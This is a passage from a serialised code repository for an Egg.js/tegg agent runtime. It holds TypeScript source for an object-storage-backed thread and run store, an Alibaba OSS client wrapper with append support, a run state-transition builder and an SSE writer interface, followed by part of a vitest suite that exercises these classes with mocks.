MessageStatus.Completed,\n        content:\n          typeof m.content === 'string'\n            ? [{ type: ContentBlockType.Text, text: { value: m.content, annotations: [] } }]\n            : m.content.map((p) => ({ type: ContentBlockType.Text, text: { value: p.text, annotations: [] } })),\n      }));\n  }\n}\n"
  },
  {
    "path": "tegg/core/agent-runtime/src/OSSAgentStore.ts",
    "content": "import type {\n  AgentRunConfig,\n  AgentStore,\n  InputMessage,\n  MessageObject,\n  RunRecord,\n  ThreadRecord,\n} from '@eggjs/tegg-types/agent-runtime';\nimport { AgentObjectType, RunStatus } from '@eggjs/tegg-types/agent-runtime';\nimport { AgentNotFoundError } from '@eggjs/tegg-types/agent-runtime';\nimport type { ObjectStorageClient } from '@eggjs/tegg-types/agent-runtime';\n\nimport { nowUnix, newThreadId, newRunId } from './AgentStoreUtils.ts';\n\nexport interface OSSAgentStoreOptions {\n  client: ObjectStorageClient;\n  prefix?: string;\n}\n\n/**\n * Thread metadata stored as a JSON object (excludes messages).\n * Messages are stored separately in a JSONL file for append-friendly writes.\n */\ntype ThreadMetadata = Omit<ThreadRecord, 'messages'>;\n\n/**\n * AgentStore implementation backed by an ObjectStorageClient (OSS, S3, etc.).\n *\n * ## Storage layout\n *\n * ```\n * {prefix}threads/{id}/meta.json      — Thread metadata (JSON)\n * {prefix}threads/{id}/messages.jsonl  — Messages (JSONL, one JSON object per line)\n * {prefix}runs/{id}.json              — Run record (JSON)\n * ```\n *\n * ### Why split threads into two keys?\n *\n * Thread messages are append-only: new messages are added at the end but never\n * modified or deleted. Storing them as a JSONL file allows us to leverage the\n * OSS AppendObject API (or similar) to write new messages without reading the\n * entire thread first. This is much more efficient than read-modify-write for\n * long conversations.\n *\n * If the underlying ObjectStorageClient provides an `append()` method, it will\n * be used for O(1) message writes. Otherwise, the store falls back to\n * get-concat-put (which is NOT atomic and may lose data under concurrent\n * writers — acceptable for single-writer scenarios).\n *\n * ### Atomicity note\n *\n * Run updates still use read-modify-write because run fields are mutated\n * (status, timestamps, output, etc.) — they cannot be modelled as append-only.\n * For multi-writer safety, consider a database-backed AgentStore or ETag-based\n * conditional writes with retry.\n */\nexport class OSSAgentStore implements AgentStore {\n  private readonly client: ObjectStorageClient;\n  private readonly prefix: string;\n\n  constructor(options: OSSAgentStoreOptions) {\n    this.client = options.client;\n    // Normalize: ensure non-empty prefix ends with '/'\n    const raw = options.prefix ?? '';\n    this.prefix = raw && !raw.endsWith('/') ? raw + '/' : raw;\n  }\n\n  // ── Key helpers ──────────────────────────────────────────────────────\n\n  /** Key for thread metadata (JSON). */\n  private threadMetaKey(threadId: string): string {\n    return `${this.prefix}threads/${threadId}/meta.json`;\n  }\n\n  /** Key for thread messages (JSONL, one message per line). */\n  private threadMessagesKey(threadId: string): string {\n    return `${this.prefix}threads/${threadId}/messages.jsonl`;\n  }\n\n  /** Key for run record (JSON). */\n  private runKey(runId: string): string {\n    return `${this.prefix}runs/${runId}.json`;\n  }\n\n  // ── Lifecycle ────────────────────────────────────────────────────────\n\n  async init(): Promise<void> {\n    await this.client.init?.();\n  }\n\n  async destroy(): Promise<void> {\n    await this.client.destroy?.();\n  }\n\n  // ── Thread operations ────────────────────────────────────────────────\n\n  async createThread(metadata?: Record<string, unknown>): Promise<ThreadRecord> {\n    const threadId = newThreadId();\n    const meta: ThreadMetadata = {\n      id: threadId,\n      object: AgentObjectType.Thread,\n      metadata: metadata ?? {},\n      createdAt: nowUnix(),\n    };\n    await this.client.put(this.threadMetaKey(threadId), JSON.stringify(meta));\n    // Messages file is created lazily on first appendMessages call.\n    return { ...meta, messages: [] };\n  }\n\n  async getThread(threadId: string): Promise<ThreadRecord> {\n    const [metaData, messagesData] = await Promise.all([\n      this.client.get(this.threadMetaKey(threadId)),\n      this.client.get(this.threadMessagesKey(threadId)),\n    ]);\n    if (!metaData) {\n      throw new AgentNotFoundError(`Thread ${threadId} not found`);\n    }\n    const meta = JSON.parse(metaData) as ThreadMetadata;\n\n    // Parse messages JSONL — may not exist yet if no messages were appended.\n    const messages: MessageObject[] = messagesData\n      ? messagesData\n          .trim()\n          .split('\\n')\n          .filter((line) => line.length > 0)\n          .map((line) => JSON.parse(line) as MessageObject)\n      : [];\n\n    return { ...meta, messages };\n  }\n\n  /**\n   * Append messages to a thread.\n   *\n   * Each message is serialized as a single JSON line (JSONL format).\n   * When the underlying client supports `append()`, this is a single\n   * O(1) write — no need to read the existing messages first.\n   */\n  async appendMessages(threadId: string, messages: MessageObject[]): Promise<void> {\n    // Verify the thread exists before writing messages (or returning early),\n    // so callers always get AgentNotFoundError for invalid threadIds.\n    const metaData = await this.client.get(this.threadMetaKey(threadId));\n    if (!metaData) {\n      throw new AgentNotFoundError(`Thread ${threadId} not found`);\n    }\n    if (messages.length === 0) return;\n\n    const lines = messages.map((m) => JSON.stringify(m)).join('\\n') + '\\n';\n    const messagesKey = this.threadMessagesKey(threadId);\n\n    if (this.client.append) {\n      // Fast path: use the native append API (e.g., OSS AppendObject).\n      await this.client.append(messagesKey, lines);\n    } else {\n      // Slow path: read-modify-write fallback.\n      // NOTE: Not atomic — concurrent appends may lose data.\n      const existing = (await this.client.get(messagesKey)) ?? '';\n      await this.client.put(messagesKey, existing + lines);\n    }\n  }\n\n  // ── Run operations ───────────────────────────────────────────────────\n\n  async createRun(\n    input: InputMessage[],\n    threadId?: string,\n    config?: AgentRunConfig,\n    metadata?: Record<string, unknown>,\n  ): Promise<RunRecord> {\n    const runId = newRunId();\n    const record: RunRecord = {\n      id: runId,\n      object: AgentObjectType.ThreadRun,\n      threadId,\n      status: RunStatus.Queued,\n      input,\n      config,\n      metadata,\n      createdAt: nowUnix(),\n    };\n    await this.client.put(this.runKey(runId), JSON.stringify(record));\n    return record;\n  }\n\n  async getRun(runId: string): Promise<RunRecord> {\n    const data = await this.client.get(this.runKey(runId));\n    if (!data) {\n      throw new AgentNotFoundError(`Run ${runId} not found`);\n    }\n    return JSON.parse(data) as RunRecord;\n  }\n\n  // TODO: read-modify-write is NOT atomic. Concurrent updates may lose data.\n  // Acceptable for single-writer scenarios; for multi-writer, consider ETag-based\n  // conditional writes with retry, or use a database-backed AgentStore instead.\n  async updateRun(runId: string, updates: Partial<RunRecord>): Promise<void> {\n    const run = await this.getRun(runId);\n    const { id: _, object: __, ...safeUpdates } = updates;\n    Object.assign(run, safeUpdates);\n    await this.client.put(this.runKey(runId), JSON.stringify(run));\n  }\n}\n"
  },
  {
    "path": "tegg/core/agent-runtime/src/OSSObjectStorageClient.ts",
    "content": "import type { ObjectStorageClient } from '@eggjs/tegg-types/agent-runtime';\nimport type { OSSObject } from 'oss-client';\n\nfunction isOSSError(err: unknown, code: string): boolean {\n  return err != null && typeof err === 'object' && 'code' in err && (err as { code: unknown }).code === code;\n}\n\n/**\n * ObjectStorageClient backed by Alibaba Cloud OSS (via oss-client).\n *\n * Supports both `put`/`get` for normal objects and `append` for\n * OSS Appendable Objects. The append path uses a local position cache\n * to avoid extra HEAD requests; on position mismatch it falls back to\n * HEAD + retry automatically.\n *\n * The OSSObject instance should be constructed and injected by the caller,\n * following the IoC/DI principle.\n */\nexport class OSSObjectStorageClient implements ObjectStorageClient {\n  private readonly client: OSSObject;\n\n  /**\n   * In-memory cache of next-append positions.\n   *\n   * After each successful `append()`, OSS returns `nextAppendPosition`.\n   * We cache it here so the next append can skip a HEAD round-trip.\n   * If the cached position is stale (e.g., process restarted or another\n   * writer appended), the append will fail with PositionNotEqualToLength\n   * and we fall back to HEAD + retry.\n   */\n  private readonly appendPositions = new Map<string, number>();\n\n  constructor(client: OSSObject) {\n    this.client = client;\n  }\n\n  async put(key: string, value: string): Promise<void> {\n    await this.client.put(key, Buffer.from(value, 'utf-8'));\n  }\n\n  async get(key: string): Promise<string | null> {\n    try {\n      const result = await this.client.get(key);\n      if (result.content) {\n        return Buffer.isBuffer(result.content) ? result.content.toString('utf-8') : String(result.content);\n      }\n      return null;\n    } catch (err: unknown) {\n      if (isOSSError(err, 'NoSuchKey')) {\n        return null;\n      }\n      throw err;\n    }\n  }\n\n  /**\n   * Append data to an OSS Appendable Object.\n   *\n   * OSS AppendObject requires a `position` parameter that must equal the\n   * current object size. We use a three-step strategy:\n   *\n   * 1. Use the cached position (0 for new objects, or the value from the\n   *    last successful append).\n   * 2. If OSS returns PositionNotEqualToLength (cache is stale), issue a\n   *    HEAD request to learn the current object size, then retry once.\n   * 3. Update the cache with `nextAppendPosition` from the response.\n   *\n   * This gives us single-round-trip performance in the common case (single\n   * writer, no restarts) while still being self-healing when the cache is\n   * stale.\n   */\n  async append(key: string, value: string): Promise<void> {\n    const buf = Buffer.from(value, 'utf-8');\n    const position = this.appendPositions.get(key) ?? 0;\n\n    try {\n      const result = await this.client.append(key, buf, { position });\n      this.appendPositions.set(key, Number(result.nextAppendPosition));\n    } catch (err: unknown) {\n      // Position mismatch — the object grew since our last cached position.\n      // Fall back to HEAD to learn the actual size, then retry.\n      if (isOSSError(err, 'PositionNotEqualToLength')) {\n        const head = await this.client.head(key);\n        const currentPos = Number(head.res.headers['content-length'] ?? 0);\n        const result = await this.client.append(key, buf, { position: currentPos });\n        this.appendPositions.set(key, Number(result.nextAppendPosition));\n      } else {\n        throw err;\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/core/agent-runtime/src/RunBuilder.ts",
    "content": "import type { MessageObject, RunObject, RunRecord, AgentRunConfig } from '@eggjs/tegg-types/agent-runtime';\nimport { RunStatus, AgentErrorCode, AgentObjectType } from '@eggjs/tegg-types/agent-runtime';\nimport { InvalidRunStateTransitionError } from '@eggjs/tegg-types/agent-runtime';\n\nimport { nowUnix } from './AgentStoreUtils.ts';\n\n/** Accumulated token usage — same shape as non-null RunRecord['usage']. */\nexport type RunUsage = NonNullable<RunRecord['usage']>;\n\n/**\n * Encapsulates run state transitions.\n *\n * Mutation methods (`start`, `complete`, `fail`, `cancel`) update internal\n * state and return `Partial<RunRecord>` for the store.\n *\n * `snapshot()` produces a `RunObject` suitable for API responses and SSE events.\n */\nexport class RunBuilder {\n  private readonly id: string;\n  private readonly threadId: string;\n  private readonly createdAt: number;\n  private readonly metadata?: Record<string, unknown>;\n  private readonly config?: AgentRunConfig;\n\n  private status: RunStatus;\n  private startedAt?: number;\n  private completedAt?: number;\n  private cancelledAt?: number;\n  private failedAt?: number;\n  private lastError?: { code: string; message: string } | null;\n  private usage?: RunUsage;\n  private output?: MessageObject[];\n\n  private constructor(\n    id: string,\n    threadId: string,\n    createdAt: number,\n    status: RunStatus,\n    metadata?: Record<string, unknown>,\n    config?: AgentRunConfig,\n  ) {\n    this.id = id;\n    this.threadId = threadId;\n    this.createdAt = createdAt;\n    this.status = status;\n    this.metadata = metadata;\n    this.config = config;\n  }\n\n  /** Create a RunBuilder from a store RunRecord, using its own threadId. */\n  static fromRecord(run: RunRecord): RunBuilder {\n    return RunBuilder.create(run, run.threadId ?? '');\n  }\n\n  /** Create a RunBuilder from a store RunRecord, restoring all mutable state. */\n  static create(run: RunRecord, threadId: string): RunBuilder {\n    const rb = new RunBuilder(run.id, threadId, run.createdAt, run.status, run.metadata, run.config);\n    rb.startedAt = run.startedAt ?? undefined;\n    rb.completedAt = run.completedAt ?? undefined;\n    rb.cancelledAt = run.cancelledAt ?? undefined;\n    rb.failedAt = run.failedAt ?? undefined;\n    rb.lastError = run.lastError ?? undefined;\n    rb.output = run.output;\n    if (run.usage) {\n      rb.usage = { ...run.usage };\n    }\n    return rb;\n  }\n\n  /** queued -> in_progress. Returns store update. */\n  start(): Partial<RunRecord> {\n    if (this.status !== RunStatus.Queued) {\n      throw new InvalidRunStateTransitionError(this.status, RunStatus.InProgress);\n    }\n    this.status = RunStatus.InProgress;\n    this.startedAt = nowUnix();\n    return { status: this.status, startedAt: this.startedAt };\n  }\n\n  /** in_progress -> completed. Returns store update. */\n  complete(output: MessageObject[], usage?: RunUsage): Partial<RunRecord> {\n    if (this.status !== RunStatus.InProgress) {\n      throw new InvalidRunStateTransitionError(this.status, RunStatus.Completed);\n    }\n    this.status = RunStatus.Completed;\n    this.completedAt = nowUnix();\n    this.output = output;\n    this.usage = usage;\n    return {\n      status: this.status,\n      output,\n      usage,\n      completedAt: this.completedAt,\n    };\n  }\n\n  /** queued/in_progress -> failed. Returns store update. */\n  fail(error: Error): Partial<RunRecord> {\n    if (this.status !== RunStatus.InProgress && this.status !== RunStatus.Queued) {\n      throw new InvalidRunStateTransitionError(this.status, RunStatus.Failed);\n    }\n    this.status = RunStatus.Failed;\n    this.failedAt = nowUnix();\n    this.lastError = { code: AgentErrorCode.ExecError, message: error.message };\n    return {\n      status: this.status,\n      lastError: this.lastError,\n      failedAt: this.failedAt,\n    };\n  }\n\n  /** in_progress/queued -> cancelling (idempotent if already cancelling). Returns store update. */\n  cancelling(): Partial<RunRecord> {\n    if (this.status === RunStatus.Cancelling) {\n      return { status: this.status };\n    }\n    if (this.status !== RunStatus.InProgress && this.status !== RunStatus.Queued) {\n      throw new InvalidRunStateTransitionError(this.status, RunStatus.Cancelling);\n    }\n    this.status = RunStatus.Cancelling;\n    return { status: this.status };\n  }\n\n  /** cancelling -> cancelled. Returns store update. */\n  cancel(): Partial<RunRecord> {\n    if (this.status !== RunStatus.Cancelling) {\n      throw new InvalidRunStateTransitionError(this.status, RunStatus.Cancelled);\n    }\n    this.status = RunStatus.Cancelled;\n    this.cancelledAt = nowUnix();\n    return {\n      status: this.status,\n      cancelledAt: this.cancelledAt,\n    };\n  }\n\n  /** Produce a RunObject snapshot for API / SSE. */\n  snapshot(): RunObject {\n    return {\n      id: this.id,\n      object: AgentObjectType.ThreadRun,\n      createdAt: this.createdAt,\n      threadId: this.threadId,\n      status: this.status,\n      lastError: this.lastError,\n      startedAt: this.startedAt ?? null,\n      completedAt: this.completedAt ?? null,\n      cancelledAt: this.cancelledAt ?? null,\n      failedAt: this.failedAt ?? null,\n      usage: this.usage ?? null,\n      metadata: this.metadata,\n      output: this.output,\n      config: this.config,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/core/agent-runtime/src/SSEWriter.ts",
    "content": "/**\n * Abstract interface for writing SSE events.\n * Decouples AgentRuntime from HTTP transport details.\n */\nexport interface SSEWriter {\n  /** Write an SSE event with the given name and JSON-serializable data. */\n  writeEvent(event: string, data: unknown): void;\n  /** Whether the underlying connection has been closed. */\n  readonly closed: boolean;\n  /** End the SSE stream. */\n  end(): void;\n  /** Register a callback for when the client disconnects. */\n  onClose(callback: () => void): void;\n}\n"
  },
  {
    "path": "tegg/core/agent-runtime/src/index.ts",
    "content": "// Re-export types from @eggjs/tegg-types (backward compatible)\nexport * from '@eggjs/tegg-types/agent-runtime';\n// Implementation code\nexport * from './OSSObjectStorageClient.ts';\nexport * from './OSSAgentStore.ts';\nexport * from './AgentStoreUtils.ts';\nexport * from './MessageConverter.ts';\nexport * from './RunBuilder.ts';\nexport * from './SSEWriter.ts';\nexport * from './HttpSSEWriter.ts';\nexport { AgentRuntime, AGENT_RUNTIME } from './AgentRuntime.ts';\nexport type { AgentExecutor, AgentRuntimeOptions } from './AgentRuntime.ts';\n"
  },
  {
    "path": "tegg/core/agent-runtime/test/AgentRuntime.test.ts",
    "content": "import assert from 'node:assert';\nimport { setTimeout } from 'node:timers/promises';\n\nimport {\n  RunStatus,\n  AgentSSEEvent,\n  AgentObjectType,\n  MessageRole,\n  MessageStatus,\n  ContentBlockType,\n} from '@eggjs/tegg-types/agent-runtime';\nimport type { RunRecord, RunObject, CreateRunInput, AgentStreamMessage } from '@eggjs/tegg-types/agent-runtime';\nimport { AgentNotFoundError, AgentConflictError } from '@eggjs/tegg-types/agent-runtime';\nimport { describe, it, beforeEach, afterEach } from 'vitest';\n\nimport { AgentRuntime } from '../src/AgentRuntime.ts';\nimport type { AgentExecutor, AgentRuntimeOptions } from '../src/AgentRuntime.ts';\nimport { OSSAgentStore } from '../src/OSSAgentStore.ts';\nimport type { SSEWriter } from '../src/SSEWriter.ts';\nimport { MapStorageClient } from './helpers.ts';\n\nclass MockSSEWriter implements SSEWriter {\n  events: Array<{ event: string; data: unknown }> = [];\n  closed = false;\n  private closeCallbacks: Array<() => void> = [];\n\n  writeEvent(event: string, data: unknown): void {\n    this.events.push({ event, data });\n  }\n\n  end(): void {\n    this.closed = true;\n  }\n\n  onClose(callback: () => void): void {\n    this.closeCallbacks.push(callback);\n  }\n\n  simulateClose(): void {\n    this.closed = true;\n    for (const cb of this.closeCallbacks) cb();\n  }\n}\n\nasync function waitForRunStatus(\n  agentStore: OSSAgentStore,\n  runId: string,\n  expectedStatus: RunStatus,\n  timeoutMs = 2000,\n): Promise<void> {\n  const start = Date.now();\n  while (Date.now() - start < timeoutMs) {\n    const run = await agentStore.getRun(runId);\n    if (run.status === expectedStatus) return;\n    await setTimeout(10);\n  }\n  throw new Error(`Run ${runId} did not reach status '${expectedStatus}' within ${timeoutMs}ms`);\n}\n\nfunction createSlowExecRun(chunks: AgentStreamMessage[], onYielded?: () => void): AgentExecutor['execRun'] {\n  return async function* (_input: CreateRunInput, signal?: AbortSignal): AsyncGenerator<AgentStreamMessage> {\n    for (const chunk of chunks) {\n      yield chunk;\n    }\n    onYielded?.();\n    await new Promise<void>((resolve, reject) => {\n      const timer = globalThis.setTimeout(resolve, 5000);\n      if (signal) {\n        signal.addEventListener(\n          'abort',\n          () => {\n            clearTimeout(timer);\n            reject(new Error('aborted'));\n          },\n          { once: true },\n        );\n      }\n    });\n  };\n}\n\nfunction createBlockingExecRun(\n  resolveRef: { resolve?: () => void },\n  chunks: AgentStreamMessage[],\n): AgentExecutor['execRun'] {\n  return async function* (_input: CreateRunInput, signal?: AbortSignal): AsyncGenerator<AgentStreamMessage> {\n    await new Promise<void>((resolve, reject) => {\n      resolveRef.resolve = resolve;\n      if (signal) {\n        signal.addEventListener('abort', () => reject(new Error('aborted')), { once: true });\n      }\n    });\n    for (const chunk of chunks) {\n      yield chunk;\n    }\n  };\n}\n\ndescribe('test/AgentRuntime.test.ts', () => {\n  let runtime: AgentRuntime;\n  let store: OSSAgentStore;\n  let executor: AgentExecutor;\n\n  beforeEach(() => {\n    store = new OSSAgentStore({ client: new MapStorageClient() });\n    executor = {\n      async *execRun(input: CreateRunInput): AsyncGenerator<AgentStreamMessage> {\n        const messages = input.input.messages;\n        yield {\n          message: {\n            role: MessageRole.Assistant,\n            content: [{ type: 'text', text: `Hello ${messages.length} messages` }],\n          },\n        };\n        yield {\n          usage: { promptTokens: 10, completionTokens: 5 },\n        };\n      },\n    };\n    runtime = new AgentRuntime({\n      executor,\n      store,\n      logger: {\n        error() {\n          /* noop */\n        },\n      } as unknown as AgentRuntimeOptions['logger'],\n    });\n  });\n\n  afterEach(async () => {\n    await runtime.destroy();\n  });\n\n  describe('createThread', () => {\n    it('should create a thread and return ThreadObject', async () => {\n      const result = await runtime.createThread();\n      assert(result.id.startsWith('thread_'));\n      assert.equal(result.object, AgentObjectType.Thread);\n      assert(typeof result.createdAt === 'number');\n      // Unix seconds\n      assert(result.createdAt <= Math.floor(Date.now() / 1000));\n      assert(typeof result.metadata === 'object');\n    });\n  });\n\n  describe('getThread', () => {\n    it('should get a thread by id', async () => {\n      const created = await runtime.createThread();\n\n      const result = await runtime.getThread(created.id);\n      assert.equal(result.id, created.id);\n      assert.equal(result.object, AgentObjectType.Thread);\n      assert(Array.isArray(result.messages));\n    });\n\n    it('should throw AgentNotFoundError for non-existent thread', async () => {\n      await assert.rejects(\n        () => runtime.getThread('thread_xxx'),\n        (err: unknown) => {\n          assert(err instanceof AgentNotFoundError);\n          assert.equal(err.status, 404);\n          return true;\n        },\n      );\n    });\n  });\n\n  describe('syncRun', () => {\n    it('should collect all chunks and return completed RunObject', async () => {\n      const result = await runtime.syncRun({\n        input: { messages: [{ role: 'user', content: 'Hi' }] },\n      });\n      assert(result.id.startsWith('run_'));\n      assert.equal(result.object, AgentObjectType.ThreadRun);\n      assert.equal(result.status, RunStatus.Completed);\n      assert(result.threadId);\n      assert(result.threadId.startsWith('thread_'));\n      assert.equal(result.output!.length, 1);\n      assert.equal(result.output![0].object, AgentObjectType.ThreadMessage);\n      assert.equal(result.output![0].role, MessageRole.Assistant);\n      assert.equal(result.output![0].status, MessageStatus.Completed);\n      const content = result.output![0].content;\n      assert.equal(content[0].type, ContentBlockType.Text);\n      assert.equal(content[0].text.value, 'Hello 1 messages');\n      assert(Array.isArray(content[0].text.annotations));\n      assert.equal(result.usage!.promptTokens, 10);\n      assert.equal(result.usage!.completionTokens, 5);\n      assert.equal(result.usage!.totalTokens, 15);\n      assert(result.startedAt! >= result.createdAt, 'startedAt should be >= createdAt');\n    });\n\n    it('should pass metadata through to store and return it', async () => {\n      const meta = { user_id: 'u_1', trace: 'xyz' };\n      const result = await runtime.syncRun({\n        input: { messages: [{ role: 'user', content: 'Hi' }] },\n        metadata: meta,\n      });\n      assert.deepStrictEqual(result.metadata, meta);\n\n      const run = await store.getRun(result.id);\n      assert.deepStrictEqual(run.metadata, meta);\n    });\n\n    it('should store the run in the store', async () => {\n      const result = await runtime.syncRun({\n        input: { messages: [{ role: 'user', content: 'Hi' }] },\n      });\n      const run = await store.getRun(result.id);\n      assert.equal(run.status, RunStatus.Completed);\n      assert(run.completedAt);\n    });\n\n    it('should append messages to thread when threadId provided', async () => {\n      const thread = await runtime.createThread();\n\n      await runtime.syncRun({\n        threadId: thread.id,\n        input: { messages: [{ role: 'user', content: 'Hi' }] },\n      });\n\n      const updated = await runtime.getThread(thread.id);\n      assert.equal(updated.messages.length, 2);\n      assert.equal(updated.messages[0].role, MessageRole.User);\n      assert.equal(updated.messages[1].role, MessageRole.Assistant);\n    });\n\n    it('should auto-create thread and append messages when threadId not provided', async () => {\n      const result = await runtime.syncRun({\n        input: { messages: [{ role: 'user', content: 'Hi' }] },\n      });\n      assert(result.threadId);\n      assert(result.threadId.startsWith('thread_'));\n\n      const thread = await runtime.getThread(result.threadId);\n      assert.equal(thread.messages.length, 2);\n      assert.equal(thread.messages[0].role, MessageRole.User);\n      assert.equal(thread.messages[1].role, MessageRole.Assistant);\n    });\n\n    it('should not throw when store.updateRun fails in catch block', async () => {\n      executor.execRun = async function* (): AsyncGenerator<AgentStreamMessage> {\n        throw new Error('exec failed');\n      };\n\n      let callCount = 0;\n      const origUpdateRun = store.updateRun.bind(store);\n      store.updateRun = async (runId: string, updates: Partial<RunRecord>) => {\n        callCount++;\n        if (callCount === 2) {\n          throw new Error('store down');\n        }\n        return origUpdateRun(runId, updates);\n      };\n\n      await assert.rejects(\n        () => runtime.syncRun({ input: { messages: [{ role: 'user', content: 'Hi' }] } }),\n        (err: unknown) => {\n          assert(err instanceof Error);\n          assert.equal(err.message, 'exec failed');\n          return true;\n        },\n      );\n    });\n  });\n\n  describe('asyncRun', () => {\n    it('should return queued status immediately with auto-created threadId', async () => {\n      const result = await runtime.asyncRun({\n        input: { messages: [{ role: 'user', content: 'Hi' }] },\n      });\n      assert(result.id.startsWith('run_'));\n      assert.equal(result.object, AgentObjectType.ThreadRun);\n      assert.equal(result.status, RunStatus.Queued);\n      assert(result.threadId);\n      assert(result.threadId.startsWith('thread_'));\n    });\n\n    it('should complete the run in the background', async () => {\n      const result = await runtime.asyncRun({\n        input: { messages: [{ role: 'user', content: 'Hi' }] },\n      });\n\n      await runtime.waitForPendingTasks();\n\n      const run = await store.getRun(result.id);\n      assert.equal(run.status, RunStatus.Completed);\n      const outputContent = run.output![0].content;\n      assert.equal(outputContent[0].text.value, 'Hello 1 messages');\n    });\n\n    it('should auto-create thread and append messages when threadId not provided', async () => {\n      const result = await runtime.asyncRun({\n        input: { messages: [{ role: 'user', content: 'Hi' }] },\n      });\n      assert(result.threadId);\n\n      await runtime.waitForPendingTasks();\n\n      const thread = await store.getThread(result.threadId);\n      assert.equal(thread.messages.length, 2);\n      assert.equal(thread.messages[0].role, MessageRole.User);\n      assert.equal(thread.messages[1].role, MessageRole.Assistant);\n    });\n\n    it('should pass metadata through to store and return it', async () => {\n      const meta = { session: 'sess_1' };\n      const result = await runtime.asyncRun({\n        input: { messages: [{ role: 'user', content: 'Hi' }] },\n        metadata: meta,\n      });\n      assert.deepStrictEqual(result.metadata, meta);\n\n      await runtime.waitForPendingTasks();\n\n      const run = await store.getRun(result.id);\n      assert.deepStrictEqual(run.metadata, meta);\n    });\n  });\n\n  describe('streamRun', () => {\n    it('should emit correct SSE event sequence for normal flow', async () => {\n      const writer = new MockSSEWriter();\n      await runtime.streamRun({ input: { messages: [{ role: 'user', content: 'Hi' }] } }, writer);\n\n      const eventNames = writer.events.map((e) => e.event);\n      assert(eventNames.includes(AgentSSEEvent.ThreadRunCreated));\n      assert(eventNames.includes(AgentSSEEvent.ThreadRunInProgress));\n      assert(eventNames.includes(AgentSSEEvent.ThreadMessageCreated));\n      assert(eventNames.includes(AgentSSEEvent.ThreadMessageDelta));\n      assert(eventNames.includes(AgentSSEEvent.ThreadMessageCompleted));\n      assert(eventNames.includes(AgentSSEEvent.ThreadRunCompleted));\n      assert(eventNames.includes(AgentSSEEvent.Done));\n      assert(writer.closed);\n\n      // Verify order: created < in_progress < message.created < delta < message.completed < run.completed < done\n      const createdIdx = eventNames.indexOf(AgentSSEEvent.ThreadRunCreated);\n      const progressIdx = eventNames.indexOf(AgentSSEEvent.ThreadRunInProgress);\n      const msgCreatedIdx = eventNames.indexOf(AgentSSEEvent.ThreadMessageCreated);\n      const deltaIdx = eventNames.indexOf(AgentSSEEvent.ThreadMessageDelta);\n      const msgCompletedIdx = eventNames.indexOf(AgentSSEEvent.ThreadMessageCompleted);\n      const runCompletedIdx = eventNames.indexOf(AgentSSEEvent.ThreadRunCompleted);\n      const doneIdx = eventNames.indexOf(AgentSSEEvent.Done);\n      assert(createdIdx < progressIdx);\n      assert(progressIdx < msgCreatedIdx);\n      assert(msgCreatedIdx < deltaIdx);\n      assert(deltaIdx < msgCompletedIdx);\n      assert(msgCompletedIdx < runCompletedIdx);\n      assert(runCompletedIdx < doneIdx);\n\n      // Verify messages persisted to thread (consistent with syncRun/asyncRun tests)\n      const runCreatedEvent = writer.events.find((e) => e.event === AgentSSEEvent.ThreadRunCreated);\n      const threadId = (runCreatedEvent!.data as RunObject).threadId;\n      const thread = await runtime.getThread(threadId);\n      assert.equal(thread.messages.length, 2);\n      assert.equal(thread.messages[0]['role'], MessageRole.User);\n      assert.equal(thread.messages[1]['role'], MessageRole.Assistant);\n    });\n\n    it('should emit cancelled event on client disconnect', async () => {\n      let resolveYielded!: () => void;\n      const yieldedPromise = new Promise<void>((r) => {\n        resolveYielded = r;\n      });\n\n      executor.execRun = async function* (\n        _input: CreateRunInput,\n        signal?: AbortSignal,\n      ): AsyncGenerator<AgentStreamMessage> {\n        yield { message: { role: MessageRole.Assistant, content: [{ type: 'text', text: 'start' }] } };\n        resolveYielded();\n        await new Promise<void>((resolve) => {\n          const timer = globalThis.setTimeout(resolve, 5000);\n          if (signal) {\n            signal.addEventListener(\n              'abort',\n              () => {\n                clearTimeout(timer);\n                resolve();\n              },\n              { once: true },\n            );\n          }\n        });\n      };\n\n      const writer = new MockSSEWriter();\n\n      const streamPromise = runtime.streamRun({ input: { messages: [{ role: 'user', content: 'Hi' }] } }, writer);\n\n      await yieldedPromise;\n      writer.simulateClose();\n\n      await streamPromise;\n\n      const eventNames = writer.events.map((e) => e.event);\n      assert(eventNames.includes(AgentSSEEvent.ThreadRunCreated));\n      assert(eventNames.includes(AgentSSEEvent.ThreadRunInProgress));\n    });\n\n    it('should emit failed event when execRun throws', async () => {\n      executor.execRun = async function* (): AsyncGenerator<AgentStreamMessage> {\n        throw new Error('model unavailable');\n      };\n\n      const writer = new MockSSEWriter();\n      await runtime.streamRun({ input: { messages: [{ role: 'user', content: 'Hi' }] } }, writer);\n\n      const eventNames = writer.events.map((e) => e.event);\n      assert(eventNames.includes(AgentSSEEvent.ThreadRunFailed));\n      assert(eventNames.includes(AgentSSEEvent.Done));\n      assert(writer.closed);\n    });\n  });\n\n  describe('getRun', () => {\n    it('should get a run by id', async () => {\n      const syncResult = await runtime.syncRun({\n        input: { messages: [{ role: 'user', content: 'Hi' }] },\n      });\n\n      const result = await runtime.getRun(syncResult.id);\n      assert.equal(result.id, syncResult.id);\n      assert.equal(result.object, AgentObjectType.ThreadRun);\n      assert.equal(result.status, RunStatus.Completed);\n      assert(typeof result.createdAt === 'number');\n    });\n\n    it('should return metadata from getRun', async () => {\n      const meta = { source: 'api' };\n      const syncResult = await runtime.syncRun({\n        input: { messages: [{ role: 'user', content: 'Hi' }] },\n        metadata: meta,\n      });\n\n      const result = await runtime.getRun(syncResult.id);\n      assert.deepStrictEqual(result.metadata, meta);\n    });\n  });\n\n  describe('cancelRun', () => {\n    it('should cancel a run', async () => {\n      executor.execRun = createSlowExecRun([\n        {\n          message: { role: MessageRole.Assistant, content: [{ type: 'text', text: 'start' }] },\n        },\n      ]);\n\n      const result = await runtime.asyncRun({\n        input: { messages: [{ role: 'user', content: 'Hi' }] },\n      });\n\n      await waitForRunStatus(store, result.id, RunStatus.InProgress);\n\n      const cancelResult = await runtime.cancelRun(result.id);\n      assert.equal(cancelResult.id, result.id);\n      assert.equal(cancelResult.object, AgentObjectType.ThreadRun);\n      assert.equal(cancelResult.status, RunStatus.Cancelled);\n\n      const run = await store.getRun(result.id);\n      assert.equal(run.status, RunStatus.Cancelled);\n      assert(run.cancelledAt);\n    });\n\n    it('should write cancelling then cancelled to store', async () => {\n      executor.execRun = createSlowExecRun([\n        {\n          message: { role: MessageRole.Assistant, content: [{ type: 'text', text: 'start' }] },\n        },\n      ]);\n\n      const statusHistory: string[] = [];\n      const origUpdateRun = store.updateRun.bind(store);\n      store.updateRun = async (runId: string, updates: Partial<RunRecord>) => {\n  